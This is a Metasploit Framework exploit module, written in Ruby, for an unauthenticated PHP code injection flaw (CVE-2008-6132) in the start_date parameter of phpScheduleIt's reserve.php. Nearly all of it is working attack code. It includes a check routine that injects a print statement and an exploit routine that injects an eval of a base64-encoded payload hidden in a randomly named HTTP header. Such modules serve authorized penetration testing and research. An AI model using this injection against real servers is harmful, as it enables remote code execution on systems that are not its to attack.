phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection

##
# $Id: phpscheduleit_start_date.rb 14073 2011-10-26 18:06:12Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',
   'Description'    => %q{
     This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
    software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
    option is 'off'. Authentication is not required to exploit the bug.

    Version 1.2.10 and earlier of phpScheduleIt are affected.
   },
   'Author'         =>
    [
     'EgiX',        # Vulnerability Discovery and Exploit
     'juan vazquez' # Metasploit module
    ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 14073 $',
   'References'     =>
    [
     ['CVE', '2008-6132'],
     ['OSVDB', '48797'],
     ['BID', '31520'],
     ['URL', 'http://www.exploit-db.com/exploits/6646/'],
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     # max header length for Apache,
     # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
     'Space'       => 8190,
     'DisableNops' => true,
     'Keys'        => ['php'],
    },
   'Targets'        => [ ['Automatic', { }] ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 1 2008'))

  register_options(
   [
    OptString.new('URI', [ true,  "The full URI path to phpScheduleIt", '/phpscheduleit']),
   ], self.class)
 end

 def check
  signature = rand_text_alpha(rand(10)+10)
  stub = "1').${print('#{signature}')}.${die};#"
  my_payload = "btnSubmit=1&start_date=#{stub}"

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "reserve.php"
  else
   uri = datastore['URI'] + "/reserve.php"
  end

  print_status("Checking uri #{uri}")

  response = send_request_cgi({
   'method' => "POST",
   'global' => true,
   'uri' => uri,
   'headers' => {
     'Referer' => uri,
    },
   'data' => "#{my_payload}"
  })

  if response.code == 200 and response.body =~ /#{signature}/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
  stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"
  my_payload = "btnSubmit=1&start_date=#{stub}"

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "reserve.php"
  else
   uri = datastore['URI'] + "/reserve.php"
  end

  print_status("Sending request for: #{uri}")
  print_status("Payload embedded in header: #{headername}")

  response = send_request_cgi({
   'method' => "POST",
   'global' => true,
   'uri' => uri,
   'headers' => {
     headername  => Rex::Text.encode_base64(payload.encoded),
     'Referer'   => uri
    },
   'data' => "#{my_payload}"
  }, 3)

  if response and response.code != 200
   print_error("Server returned a non-200 status code: (#{response.code})")
  end

  handler
 end
end